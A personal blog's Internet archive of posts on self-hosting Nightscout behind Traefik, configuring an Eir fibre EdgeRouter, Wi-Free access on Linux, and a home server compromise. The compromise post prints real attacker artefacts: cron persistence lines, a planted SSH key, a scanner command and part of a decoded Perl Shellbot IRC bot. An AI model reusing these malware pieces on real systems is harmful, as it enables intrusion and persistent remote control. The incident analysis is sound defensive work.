Category Archives: Internet

Self-Hosted Nightscout & xDrip

I’ve recently had multiple issues with the official Dexcom G7 app on my phone, and after they broke the BYOD version of the app, I decided to move in another direction.

xDrip

As of 2025.08.08, xDrip now supports the G7 directly. Just two notes here. Follow the instructions to the letter, and ignore the screenshots – the options to select are Dex, and use the 4 digit bluetooth pairing code as the Transmitter ID.

With xDrip working well, I then decided to get Nightscout up and running to act as a replacement for the Clarity reports.

Nightscout

Nightscout depends on MongoDB as the backend storage, so my docker-compose.yml file starts a nightscout-mongodb service. The main change here from other examples is that the bitnami containers are now under bitnamilegacy, since its no longer being maintained – not a huge concern since its completely internal to the nightscout docker network.

  nightscout-mongodb:                                   # SERVICE_NAME - used by the "depends_on:" to make sure the database it running before things try to use it
    image: bitnamilegacy/mongodb:latest                       # Other options "image: mongo:latest" will need adjustments in other places such as "volumes:" mounts
    container_name: nightscout-mongodb                  # called in Nightscout's MONGODB_URI. General good practice to be the same as SERVICE_NAME but not required
    environment:
      - PUID=1000                                               # Not necessary, but sets the USER who runs the container as not root
      - PGID=1000                                               # Not necessary, but sets the USER who runs the container as not root
      - TZ=Europe/Dublin                                       # Refer to {nightscout-app}
      - MONGO_INITDB_ROOT_USERNAME=mongodbpoweruser             # May be necessry if importing from another database or doing management on the database
      - MONGO_INITDB_DATABASE=auth                              # May be optional, hard to find documaentation about it
      - MONGO_INITDB_ROOT_PASSWORD=mongoRootPassword03          # Will probably never be needed, I set it the same as MONGODB_ROOT_PASSWORD
      - MONGODB_ROOT_USER=mongodbpoweruser                      # I'm not sure what the differences are but is usually set the same as MONGO_INITDB_ROOT_USERNAME
      - MONGODB_ROOT_PASSWORD=mongoaRootPassword02              # I'm not sure what the differences are but is usually set the same as MONGO_INITDB_ROOT_PASSWORD
      - MONGODB_USERNAME=nightscout01                           # Username called in Nightscout's MONGODB_URI - I set to just "Nightscout"
      - MONGODB_PASSWORD=mongoPassword01                        # Password called in Nightscout's MONGODB_URI
      - MONGODB_DATABASE=nightscout02                           # Database called in Nightscout's MONGODB_URI - I set to just "Nightscout"
      - MONGODB_PORT_NUMBER=27017                               # DEFAULT[27017] - Port each MongoDB will use inernally 27017:<<MONGODB_PORT_NUMBER>>
    #ports:                                                  # Only needed to access database externally. If all parts are in the same stack/network removal or # suggested
    #  - 27017:27017                                             # DEFAULT[27017:27017] - <<EXTERNAL PORT>>:<<MONGODB_PORT_NUMBER>>
    volumes:
      - ./database:/bitnami/mongodb:rw        # /LOCATION/ON/YOUR/SYSTEM:/CONTAINER/LOCATION - for "mongo:latest" use ":/data/db"
      - ./log:/var/log:rw                         # Refer to {nightscout-app}
      - /etc/localtime:/etc/localtime:ro                        # Refer to {nightscout-app}
    restart: always                                             # Refer to {nightscout-app}
    networks:
      - nightscout
    healthcheck:                                                # OPTIONAL: This adds a Healthcheck to the container. Instead of just saying `[Running]` it will say `[Healthy]` if it is unhealthy it should restart
      test: ["CMD", "sh", "-c", "mongosh --eval 'db.runCommand(\"ping\")' || exit 1", "||", "bash", "-c", "kill -s 15 1 && sleep 10 && kill -s 9 1"]
      interval: 10s
      timeout: 10s
      retries: 3
      start_period: 20s

Nightscout itself is can be completely configured from the docker-compose file, but the most important parameters are below. Be sure to update (and keep secret) the API_SECRET. I’ve set it to use unsecured/HTTP, as I’ll terminate the HTTPS using trafik (more on this later).

      - TZ=Europe/Dublin                                        # Use your Time Zone from https://wikipedia.org/wiki/List_of_tz_database_time_zones
      - API_SECRET=myAPIsecret123                               # In xDrip: REST-API > Base URL= "<<API_SECRET>>@<<BASE_URL>>/api/v1/"
      - MONGODB_URI=mongodb://nightscout01:mongoPassword01@nightscout-mongodb:27017/nightscout02
      - INSECURE_USE_HTTP=true                                  # DEFAULT[false] - Set this to "true", unless you have your own SSL provided internally, if you wish to access without reverse Proxy
      - BASE_URL=https://nightscout.my.domain               #URL of your Nightscout site accessed outside the local network
      - DISPLAY_UNITS=mmol/L                                    # DEFAULT[mg/dl] - CHOICES: "=mg/dl" | "=mmol" "=mmol/L" (same thing either works)
      - AUTH_DEFAULT_ROLES=denied                               # DEFAULT[readable] - CHOICES: "readable" | "denied" | <<Or any valid role name>>

That is enough to get the local service up, running and reachable, but I also wanted it to be accessible via the interwebs. I could just tailscale it, but since I have a public IP and self-host other services, I decided to open it up.

Traefik

I’m using Trafeik to do two things – (1) SSL Termination, and (2) Rate-Limiting connections to the service.

SSL Termination

Its worth taking a look at the Traefik configuration in detail, as I found most of the online examples a bit obscure, or not quite covering my use case, which is that I have wildcard certs for my domain already, and wanted to use those.

  traefik:
    image: traefik:latest
    container_name: traefik
    restart: always
    command:
      - --providers.docker.network=nightscout
      - --entryPoints.https1337.address=:1337
      - --providers.docker=true
      - --providers.file.directory=/etc/traefik/dynamic
      - --providers.file.watch=true
    ports:
      - "1337:1337"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - ./traefik/dynamic/tls.yml:/etc/traefik/dynamic/tls.yml
      - ./traefik/certs:/certs           # Your wildcard certs here
    labels:
      - "traefik.enable=true"
    networks:
      - nightscout

So to begin with we are creating a service called traefik, using the latest image, and allowing it to alwas restart. Then in the commands we are doing the following;

  • Setting the provider network to be our defined nightscout network
  • Creating a https entry point on port 1337 (default nightscout port)
  • Setting docker as a provider of config
  • Setting it watching the directory /etc/traefik/dynamic for what is known as “dynamic config” – this contains a tls,yml file were we actually point it at our certificate and key

Then we are exposing port 1337 to the outside world, mounting the volumes – specifically the tls.yml file, and the certs directory where our certificate and key are located. The rest is just the required label, and the mapping to the nightscout network that the whole service is running on.

The tls.yml file is fairly straightforward – any issues with this file or the certs themselves and traefik will default to using a self-signed cert.

tls:
  stores:
    default:
      defaultCertificate:
        certFile: /certs/fullchain.cer
        keyFile: /certs/certificate.key

Finally we need to label our nightscout service to put traefik in front of it, as follows;

    labels:
      - "traefik.enable=true"
      - "traefik.http.routers.netscout.rule=Host(`nightscout.my.domain`)"
      - "traefik.http.routers.netscout.entrypoints=https1337"
      - "traefik.http.routers.netscout.tls=true"
      - "traefik.http.services.netscout.loadbalancer.server.port=1337"

Main points are to create a http router called nightscout, enable TLS, give the domain, and map the entrypoint defined earlier. This is all you need to provide HTTPS connectivity on port 1337, terminated by traefik, and then forwarded to the nightscout-app service.

Rate Limiting

Given that I’m planning on exposing this port to the bad bad internet, it makes sense to rate limit it. Thankfully this is just a few extra lines in the labels assigned to the nightscout-app service.

      - "traefik.http.middlewares.netscout-ratelimit.ratelimit.average=10"
      - "traefik.http.middlewares.netscout-ratelimit.ratelimit.burst=5"
      - "traefik.http.routers.netscout.middlewares=netscout-ratelimit@docker"

CloudFlare

Interestingly, even after opening up the ports on my router, I was unable to connect. After trying a few things, it eventually came to mind that possibly CloudFlare was doing something funny, since it sits between my public domain name, and my dynamic domain.

It turns out that CloudFlare will proxy/inspect all HTTP/HTTPS traffic (orange-clouded) but only for a limited set of ports, (443, 2053, 2083, 2087,2096,8443) unless you have CloudFlare Spectrum or setup Cloudflare Tunnel / Argo Tunnel to create a secure tunnel between your origin server and the CloudFlare proxy.

Alternatively, if you want to serve HTTPS on a non-standard port but do not want to use Spectrum or Tunnel, you must set the DNS record (subdomain) to “grey cloud” (DNS only), which disables the proxy, so Cloudflare does not interfere with that traffic.

TODO

Try moving the external port to one of those listed above and see if I can keep CF between me and the rest of the world.

Moving to Eir FTTH and Dual-Stack IPv4 & IPv6

With the recent price hikes (June 2023) for Virgin Media’s service, and a well timed knock on the door, I decided to switch (after many years) from Virgin Media [VM] to Eir’s FTTH service.

It wasn’t the smoothest install – which seems to be fairly typical, but up and running for a few days now without any issues.

Main points about the service;

  • Fiber to the Home [FTTH]!
  • Dual Stack Public IPv4 & IPv6 addresses – more on this later
  • Gigabit downlink
  • Cheaper!

Hardware & Software

Router

Hardware: EdgeRouter X SFP 6-Port

Software Release: v2.0.9-hotfix.6

Switch

Hardware: DCS-7010T-48

Software: 4.28.5.1M

Clients

Windows: Win 11, Win 10

Linux: Debian, Android 13, OS X

EdgeRouter Configuration

WAN Interface

The connection to the ONT e.g. the WAN port, needs to be tagged with VLAN ID: 10. This seems to be the standard for all FTTH in Ireland (eir, siro, etc.).

Additionally we’ll need to have both DHCP and DHCPv6-PD configured to (1) get our IPv4 address, and (2) have our IPv6 prefix delegated to us.

Since Eir provides both public IPv4 and IPv6 addresses, implementing a WAN firewall is advisable.

    ethernet eth0 {
        duplex auto
        poe {
            output off
        }
        speed auto
        vif 10 {
            address dhcp
            description Internet
            dhcpv6-pd {
                pd 0 {
                    interface switch0 {
                        host-address ::1
                        service slaac
                    }
                    prefix-length /56
                }
                prefix-only
                rapid-commit enable
            }
            firewall {
                in {
                    ipv6-name WANv6_IN
                    name WAN_IN
                }
                local {
                    ipv6-name WANv6_LOCAL
                    name WAN_LOCAL
                }
            }
        }
    }

Note: eir will delegate a /56 prefix on request, however since the SLAAC service is configured, each subnet on the LAN will have a /64.

NAT & Port-Forwarding Services

The outbound-interface for the NAT service will need to be updated to reflect the now tagged WAN interface.

    nat {
        rule 5010 {
            description "masquerade for WAN"
            outbound-interface eth0.10
            type masquerade
        }
    }

Likewise, the Port-Forwarding will need a change for the wan-interface to match.

Testing

show interfaces will show the IPv4 address assigned to the WAN port, while the first /64 of our IPv6 space will be assigned to the LAN (switch0)

~$  show interfaces
Codes: S - State, L - Link, u - Up, D - Down, A - Admin Down
Interface    IP Address                        S/L  Description
---------    ----------                        ---  -----------
eth0         -                                 u/u
eth0.10      A.B.C.D/23                   u/u  Internet
eth1         -                                 u/u  Local
eth2         -                                 u/D  Local
eth3         -                                 u/D  Local
eth4         -                                 u/D  Local
eth5         -                                 u/D
lo           127.0.0.1/8                       u/u
             ::1/128
switch0      192.168.1.1/24                    u/u  Local
             2001:aaaa:bbbb:cccc::1/64

With a default route via the link-local address, out the WAN interface:

~$ show ipv6 route
IPv6 Routing Table
Codes: K - kernel route, C - connected, S - static, R - RIP, O - OSPF,
       IA - OSPF inter area, E1 - OSPF external type 1,
       E2 - OSPF external type 2, N1 - OSPF NSSA external type 1,
       N2 - OSPF NSSA external type 2, B - BGP
Timers: Uptime

IP Route Table for VRF "default"
K      ::/0 [0/1024] via fe80::a2f3:aaaa:bbbb:cccc, eth0.10, 03:56:46
C      ::1/128 via ::, lo, 03:58:38
C      2001:aaaa:bbbb:cccc::/64 via ::, switch0, 03:50:46
C      fe80::/64 via ::, eth0.10, 03:58:02

And a ping, just to be sure

~$ ping6 facebook.com
PING facebook.com(edge-star-mini6-shv-01-dub4.facebook.com (2a03:2880:f132:83:face:b00c:0:25de)) 56 data bytes
64 bytes from edge-star-mini6-shv-01-dub4.facebook.com (2a03:2880:f132:83:face:b00c:0:25de): icmp_seq=1 ttl=58 time=2.41 ms
64 bytes from edge-star-mini6-shv-01-dub4.facebook.com (2a03:2880:f132:83:face:b00c:0:25de): icmp_seq=2 ttl=58 time=2.11 ms
64 bytes from edge-star-mini6-shv-01-dub4.facebook.com (2a03:2880:f132:83:face:b00c:0:25de): icmp_seq=3 ttl=58 time=2.12 ms
64 bytes from edge-star-mini6-shv-01-dub4.facebook.com (2a03:2880:f132:83:face:b00c:0:25de): icmp_seq=4 ttl=58 time=2.13 ms
^C
--- facebook.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3011ms
rtt min/avg/max/mdev = 2.114/2.197/2.415/0.134 ms

Quirks

One annoying behaviour with SLaaC as implemented on the EdgeRouter, is that the default (not changable) config is following RFC4861, which specifies Preferred Lifetime (AdvPreferredLifetime): 604800 seconds (7 days) and Valid Lifetime (AdvValidLifetime): 2592000 seconds (30 days).

This has the effect that unless the router (EdgeRouter) explicitly signals to stop using a prefix, the hosts will continue to use the same prefix for 7 days. If you restart the router, have a WAN interface flap, etc. Eir will assign a new Prefix, but the hosts will continue to use the old one, meaning that IPv6 connectivity will be broken until you clear out the autoassigned IPv6 addresses (something that is harder to do than you’d think!!).

Missed Changes

Switch the outbound SMTP relay from smtp.upcmail.ie to mail1.eircom.net. Both are still unauthenticated, port 25, using TLS.

Useful Links

I Got Hacked!

For me, getting hacked was an interesting experience as I hadn’t really seen it as something likely – I’m quite technology/computer savvy, use random passwords (KeePass) for any/all Internet services, 2FA where available, and I thought not a very interesting target. I get 100s of hits on a daily basis on the SSH port of my server, but fail2ban, and disabling root logins deals with 99% of those.

2020-05-08 19:00:34,007 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
2020-05-08 19:00:36,303 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
2020-05-08 19:00:38,589 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
2020-05-08 19:00:41,136 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
2020-05-08 19:02:26,666 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
2020-05-08 19:02:27,531 fail2ban.actions [2654]: NOTICE [sshd] Ban 218.92.0.191
2020-05-08 19:02:28,807 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
2020-05-08 19:12:28,284 fail2ban.actions [2654]: NOTICE [sshd] Unban 218.92.0.191
2020-05-08 19:26:06,233 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191

First Signs of Trouble

The Internet felt slow – the typical non-specific issue that initial connection setup felt a few heartbeats slower then it usually was. Normally this could be blamed on the neighbours WiFi, etc. but mostly I’m on a wired connection (Cat6, 1Gbps) internally, and 240M down / 24M up DOCSIS connection that has been completely reliable in terms of delivering the advertised speeds up until now.

However I do have a cron job running every 30 mins after an incident a few years ago, so I did have a measurable change in behaviour:

From Months of perfect results to spiking ping times (and tests failing to report at all)

While I could eventually get to 240Mbps downstream, the massive increase in loss/latency was especially obvious when opening new network connections – Zoom / Teams / Skype calls slow to open, hearing everyone, but nobody hearing me, Windows complaining that it was unable to screen new downloads, etc.

Getting nowhere with my ISP

Given that there was clearly an Internet issue, I was reluctant to engage my ISP. My current setup generally makes their usual troubleshooting steps unhelpful to say the least (not their fault) as I’m probably one of their more extreme outliers.

My current setup consists of;

  • Hub 3.0 – operating in bridge/modem mode
  • Ubiquity EdgeRouter X SFP running v2.0.8-hotfix.1 – this is the network gateway/NAT point, and DHCP server
  • Arista 7010 running EOS-4.23.0F – acting as L2 distribution switch + L3 gateway for homelab
  • Ubiquity UniFi AP-AC-Pro running 4.0.80.10875 – 2.4GHz/5GHz AP
  • RPi3 running PiHole – Network level adblocking + DNS
  • 2 Dell R710 Servers – Homelab
  • Other stuffs
I’m a high usage customer, even on their base package

After going through the usual steps, they confirmed that the modem had seen a few signal spikes, but nothing to explain the issues I was seeing, and given the current Covid-19 situation, they are understandably reluctant to enter people’s homes.

I should be clear, I have no issue with their processes or performance – they basically provide a big, fat, unlimited pipe to the Interwebs with a public IPv4 address, so they are everything I want from an ISP.

Second oddity

From time to time I noticed a processes on my main Linux media/all round everything box consuming 300%+ CPU. I didn’t give it much thought (my mistake) as it looked innocent enough – the read-only user account that is used by my Kodi player, hitting kswapd0 very hard (300+% CPU utilisation).

I figured that the problem was Kodi indexers pounding the NAS hard, and with the network connection issues, occasionally hanging. This was my mistake.

I would kill the process, then go on to other things while moaning about my internet connection.

Enlightenment – Step 1: Getting better data

I’d been playing with Influx and Grafana so decided to up my home network data collection game big time. Step 1 was to start recording my Speedtest results in Influx and charting them via Grafana. I switched to using the official Speedtest CLI client, and wrapping that in some python (based on this) to feed the json output into Influx. The main additional requirement was also including the loss information.

Speedtest.net Results, as json, pushed to Influx and charted in Telegraf

Better looking then excel and easier to work with, but not telling me anything I didn’t already know.

Enlightenment – Step 2: SmokePing… Grafana Style

While the Speedtest results are interesting, they are bandwidth heavy so I was only running them every 15 mins. I’ve used SmokePing in the past, and decided to explore the options with my Influx-Grafana setup, which lead me to standing up the last element in the TIG stack – Telegraf.

Some simple config in Telegraf to monitor the ICMP response time for a few well known IPs e.g. 8.8.8.8, 1.1.1.1, youtube.com, facebook.com, as well as the local gateway for comparison, gave me a reliable way to at least monitor the situation.

By using IPs, I was eliminating DNS from 2 of the tests, and also diversifying CDN points e.g. Google estate vs. Facebook vs. CloudFlare

Local default gateway vs. 8.8.8.8, 1.1.1.1, and YouTube ICMP/Ping average response time, and loss

Enlightenment – Step 3: Gateway Monitoring

As the next step in achieving total visibility within my own network, I decided to beef up the monitoring of the gateway itself. While there are more sophisticated approaches now in Cloud/Enterprise networking e.g. Arista CloudVision, at the very least I can monitor SNMP MIBs using Telegraf, and the EdgeRouter supports that.

Thankfully the most amazing Grafana Dashboard already exists for monitoring EdgeRouters so it was just a matter of gather a motley collection of MIBs in the right place, and pointing Telegraf at the right point.

This was where it finally started to come together:

Enlightenment – Step 4: Hmmmm… That’s interesting…

So looking at the ICMP performance today, I saw that the period of awful performance matched to a huge increase in Context Switches on the gateway – this showed up as ~5-7% CPU utilisation for Soft IRQ on the EdgeMax.

Spike in Latency
Ctx Switches
PPS Spike

This is interesting, as while the actual interface utilisation was <3Mbps (the spikes in the next chart are the periodic speedtest results) but we were seeing a huge number of PPS hitting the router, which in turn was requiring high levels of context switches.

The speedtest throughput dominates the 60 second interface utilisation

This would generally imply to me that a huge number of new sessions are being setup, and the kernel is struggling to handle the NAT translations for the TCP session startup before it can be offloaded to the hardware.

Enlightenment – Step 5: Ok, so who is suddenly using an extra ~4Mbps

For that we have Arista CloudVision – the streaming telemetry is effectively instant and the dashboards baked in allow for easy comparison of stats. A quick look there and it was obvious that the server port (Ethernet 4) was jumping from ~0 to 1.2kpps in the time under investigation, with those unicast packets being forwarded on the uplink (Ethernet 1).

CVP – AdHoc Dashboard

Enlightenment – Step 5: WTF is going on

Ok, so my beloved linux server is suddenly spamming the gateway – wtf is it doing? Sflow gives us a way to check, again through CVP

Holy shit, ~1.3kpps of SSH traffic

Sflow analysis

Ok, step 1, drop all SSH traffic initiated by the host. Allow incoming, and established sessions so we can troubleshoot

IP Access List TESTING
counters per-entry
10 permit tcp any host 192.168.1.x established
20 permit tcp any host 192.168.1.y established
30 deny tcp host 192.168.1.x any eq ssh log [match 19069 packets, 0:00:00 ago]
40 deny tcp host 192.168.1.y any eq ssh log
50 permit ip any any [match 10109 packets, 0:00:00 ago]

Enlightenment – Step 6: We have some breadcrumbs

With the ACL present, I can see a huge number of SSH session attempts being dropped, but my performance to the rest of the world is now back up to the expected levels, so we have our smoking gun.

Next step is to see who/what is triggering all these session attempts. A small sample of the netstat output

sudo netstat -tnpa | grep '22'
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      2461/sshd
tcp        0      0 192.168.1.x:33504       198.228.146.232:2352    TIME_WAIT   -
tcp        0     53 192.168.1.x:44362       133.167.68.32:22        FIN_WAIT1   -
tcp        0     53 192.168.1.x:54358       198.199.97.170:22       FIN_WAIT1   -
tcp        0      0 192.168.1.x:53520       125.141.133.228:22      TIME_WAIT   -
tcp        0      0 192.168.1.x:42894       51.68.64.206:22         TIME_WAIT   -
tcp        0      0 192.168.1.x:42460       111.230.224.50:22       TIME_WAIT   -
tcp        0      0 192.168.1.x:40478       142.93.12.21:22         TIME_WAIT   -
tcp        0      0 192.168.1.x:38636       178.33.108.100:2299     TIME_WAIT   -
tcp        0      1 192.168.1.x:43846       62.138.204.120:22       SYN_SENT    8262/tsm
tcp        0     53 192.168.1.x:34122       212.109.195.172:22      FIN_WAIT1   -
tcp        0      0 192.168.1.x:34282       50.226.23.139:22        TIME_WAIT   -
tcp        0      0 192.168.1.x:45740       90.84.178.163:22        TIME_WAIT   -
tcp        0      0 192.168.1.x:49762       184.106.239.214:22      TIME_WAIT   -
tcp        0     21 192.168.1.x:58714       128.1.135.163:22        ESTABLISHED 8262/tsm
tcp        0      0 192.168.1.x:39116       222.252.214.160:22      TIME_WAIT   -
tcp        0      0 192.168.1.x:48646       208.43.73.115:22        TIME_WAIT   -
tcp        0      0 192.168.1.x:35232       205.153.60.201:22       TIME_WAIT   -
tcp        0     53 192.168.1.x:42564       15.113.160.114:22       FIN_WAIT1   -
tcp        0      0 192.168.1.x:56408       183.107.117.171:22      TIME_WAIT   -
tcp        0      1 192.168.1.x:43238       201.217.37.30:22        SYN_SENT    8262/tsm
...

So now to hunt down these tsm processes

[~]=> ps -aef | grep 8262
smbread   8262  8257 30 13:37 ?        00:10:59 /tmp/.X25-unix/.rsync/c/lib/64/tsm --library-path /tmp/.X25-unix/.rsync/c/lib/64/ /usr/sbin/httpd rsync/c/tsm64 -t 515 -f 1 -s 12 -S 10 -p 0 -d 1 p ip
[~]=> sudo pkill tsm

The Culprit

Lets see what is going in in this user account (it now has no shell, so I don’t mind showing it here).

# crontab -l -u smbread
1 1 */2 * * /home/smbread/.configrc/a/upd>/dev/null 2>&1
@reboot /home/smbread/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/smbread/.configrc/b/sync>/dev/null 2>&1
@reboot /home/smbread/.configrc/b/sync>/dev/null 2>&1
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

Given that this account only exists to provide read-only access to my Media store, this is a surprise. This explains why killing the high CPU processes didn’t keep everything running, or why a server reboot (for other reasons) had no impact/improvement.

The other fun addition was adding to the .ssh/authorized_keys to ensure that even if the account passwords change, access is retained:

cat /home/smbread/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr

I did find the choice of user amusing, since that was exactly what I said.

What is this thing trying to do?

  1. a/upd – Seems to be a bash script to check if it is already running or not
  2. b/sync – Echo a chunk of base64 string through decode, and pipe it to perl
    1. As a secondary action add the above key to authorized_keys
  3. Final step is to kick off some go-based runtime

Perl, you say? How old-school 🙂

So, we can pip the chunky string through | base64 --decode and we get a load of obfuscated perl.

eval unpack u=>q{_"FUY("1P<F]C97-S;R`]("=R<WEN8R<["@HD<V5R=FED;W(])S0U+CDN,30X+CDY)R!U;FQE<W,@)'-E<G9I_9&]R.PIM>2`D<&]R=&$])S0T,R<["FUY($!C86YA:7,]*"(C,#`W(BD["FUY($!A9&US/2@B<&]L;'DB+")M_;VQL>2(I.PIM>2!`875T...

Replace the eval with print, feed it to perl and we get the plain-text version:

my $processo = 'rsync';

$servidor='W.X.Y.Z' unless $servidor;
my $porta='443';
my @canais=("#007");
my @adms=("aaa","aaa");
my @auth=("localhost");

my $linas_max=6;
my $sleep=3;

my $nick = getnick();
my $ircname = getnick();
my $realname = (`uname -a`);

my $acessoshell = 1;
my $prefixo = "! ";
my $estatisticas = 0;
my $pacotes = 1;

my $VERSAO = '0.2a';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0";
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();
...

Which was immediately identified by Windows Defender as Perl/Shellbot.S though in this case, it seems to be a slimmed down version, and I still need to investigate the Go-based payload.

How Did This Happen

Pure stupidity – some accounts with very limited permissions had simple passwords for ease of use. The problem was these accounts also existed on the same server that is exposed to the interwebs.

My normal practice is to create accounts where the shell is /bin/false for this exact reason, but for two accounts this was missed – obviously addressed now.

The second issue was discounting the second abnormal behaviour (high CPU utilisation) when I already knew things in my environment were behaving abnormally.

What is better now?

Improved monitoring everywhere;

  • TIG stack monitoring for all Linux hosts and VMs
  • TIG monitoring of gateway
  • TIG monitoring of external responsiveness (Ping)
  • CVP collection of sFlow data
  • Update VM templates for monitoring from initiation – every VM in the homelab is now monitored in a dashboard similar to this
  • Consolidated Syslog
  • Logging ACLs for internally initiated SSH sessions
  • Alerting based on router utilisation (Soft IRQ)
  • All non-user accounts are using /bin/false as the shell

Vodafone Ireland – SIP Ports Blocked

Was working at the parents place for a few days and was appalled to find that, on what is sold as a home broadband connection (LTE-based), they have the SIP ports blocked.

Skype worked just fine, as always, but my work phone was unable to register with the VoIP server. Tunnel everything through the corp VPN (we use split tunnels by default – a much better option) and all worked as expected.

Just need to modify the routing so that traffic to the SIP server also uses the VPN. Minor annoyance, but still, WHY?!

Playing TVHeadend Streams in VLC

Just a quick note on the URLs for doing this (File -> Open Network…);

Channel playlist:

http://<TV Headend IP>:9981/playlist/channels
http://<username>:<password>@<TV Headend IP>:9981/playlist/channels

Channel Number:

http://<TV Headend IP>:9981/stream/channelid/<channel number>
http://<username>:<password>@<TV Headend IP>:9981/stream/channelid/<channel number>

Update on the Belkin WeMo Switch

As I noted previously I was less then pleased with the WeMo. Basically I had to put in a few hacks to allow me to manage it via RPi and the excellent ouimeaux tool rather then the provided app and/or IFTTT.

It seemed that anything ‘cloudy’ wasn’t working at all. Possibly because my home router was in turn sitting behind a CG-NAT solution, possibly not…

Thankfully the latest set of firmware updates (now running WeMo_WW_2.00.8643.PVT-OWRT-SNS) seems to have sorted all of those issues. Android app works as expected (can turn it on and off) from both the local network and remotely, as can IFTTT, so I’m definitely happier with the product now then when I bought it.

Horizon Wi-Free Access on Linux

Horizon Wi-Free is an 802.1x authenticated network service intended to allow UPC customers to use WiFi Offload via UPC broadband routers. Essentially almost all UPC modems are broadcasting a “Horizon Wi-Free” SSID, and authenticating via 802.1x in the backend.

Note: You cannot connect to Horizon Wi-Free through your own router, so you will have to test against another customer’s one! I believe the idea behind this is to prevent you using the ‘roaming’ network while at home.

Configuring wpa_supplicant.conf

Main points here are:

  • SSID: this should be “Horizon Wi-Free”
  • parwise and group = CCMP
  • EAP: This needs to be PEAP as a username and password are required
  • identity: this is your UPC Wi-Free username
  • password: the Wi-Free password, not your web account password
  • ca_cert: This cert is to verify that we are actually connecting to a network belonging to UPC (see below)
  • phase2: This must be MSCHAPV2
network={
   ssid="Horizon Wi-Free"
   key_mgmt=WPA-EAP
   pairwise=CCMP
   group=CCMP
   eap=PEAP
   identity="username"
   password="my_secret_password"
   ca_cert="/etc/cert/liberty_global.pem"
   phase1="peapver=0"
   phase2="MSCHAPV2"
   id_str="horizon-free-wifi"
}

 

Getting the CA Cert for Network Verification

This step was a little more work then expected, as I had to track down a copy of the CA cert. The easiest way is to download the .mobileconfig file intended for iOS and extract the required cert chain:

wget http://www.upc.ie/horizonwifreedevicesetup/applesecurity/

[user.local][~/Downloads]=&gt; openssl pkcs7 -inform DER -print_certs -in ./HorizonWi-Freev1.mobileconfig
&nbsp;
subject=/O=AlphaSSL/CN=AlphaSSL CA - G2
issuer=/C=BE/O=GlobalSign nv-sa/OU=Root CA/CN=GlobalSign Root CA
-----BEGIN CERTIFICATE-----
MIIELzCCAxegAwIBAgILBAAAAAABL07hNwIwDQYJKoZIhvcNAQEFBQAwVzELMAkG
A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv
b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw0xMTA0MTMxMDAw
MDBaFw0yMjA0MTMxMDAwMDBaMC4xETAPBgNVBAoTCEFscGhhU1NMMRkwFwYDVQQD
ExBBbHBoYVNTTCBDQSAtIEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAw/BliN8b3caChy/JC7pUxmM/RnWsSxQfmHKLHBD/CalSbi9l32WEP1+Bstjx
T9fwWrvJr9Ax3SZGKpme2KmjtrgHxMlx95WE79LqH1Sg5b7kQSFWMRBkfR5jjpxx
XDygLt5n3MiaIPB1yLC2J4Hrlw3uIkWlwi80J+zgWRJRsx4F5Tgg0mlZelkXvhpL
OQgSeTObZGj+WIHdiAxqulm0ryRPYeDK/Bda0jxyq6dMt7nqLeP0P5miTcgdWPh/
UzWO1yKIt2F2CBMTaWawV1kTMQpwgiuT1/biQBXQHQFyxxNYalrsGYkWPODIjYYq
+jfwNTLd7OX+gI73BWe0i0J1NQIDAQABo4IBIzCCAR8wDgYDVR0PAQH/BAQDAgEG
MBIGA1UdEwEB/wQIMAYBAf8CAQAwHQYDVR0OBBYEFBTqGVXwDg0yxh90M7eOZhpM
EjEeMEUGA1UdIAQ+MDwwOgYEVR0gADAyMDAGCCsGAQUFBwIBFiRodHRwczovL3d3
dy5hbHBoYXNzbC5jb20vcmVwb3NpdG9yeS8wMwYDVR0fBCwwKjAooCagJIYiaHR0
cDovL2NybC5nbG9iYWxzaWduLm5ldC9yb290LmNybDA9BggrBgEFBQcBAQQxMC8w
LQYIKwYBBQUHMAGGIWh0dHA6Ly9vY3NwLmdsb2JhbHNpZ24uY29tL3Jvb3RyMTAf
BgNVHSMEGDAWgBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0BAQUFAAOC
AQEABjBCm89JAn6J6fWDWj0C87yyRt5KUO65mpBz2qBcJsqCrA6ts5T6KC6y5kk/
UHcOlS9o82U8nxTyaGCStvwEDfakGKFpYA3jnWhbvJ4LOFmNIdoj+pmKCbkfpy61
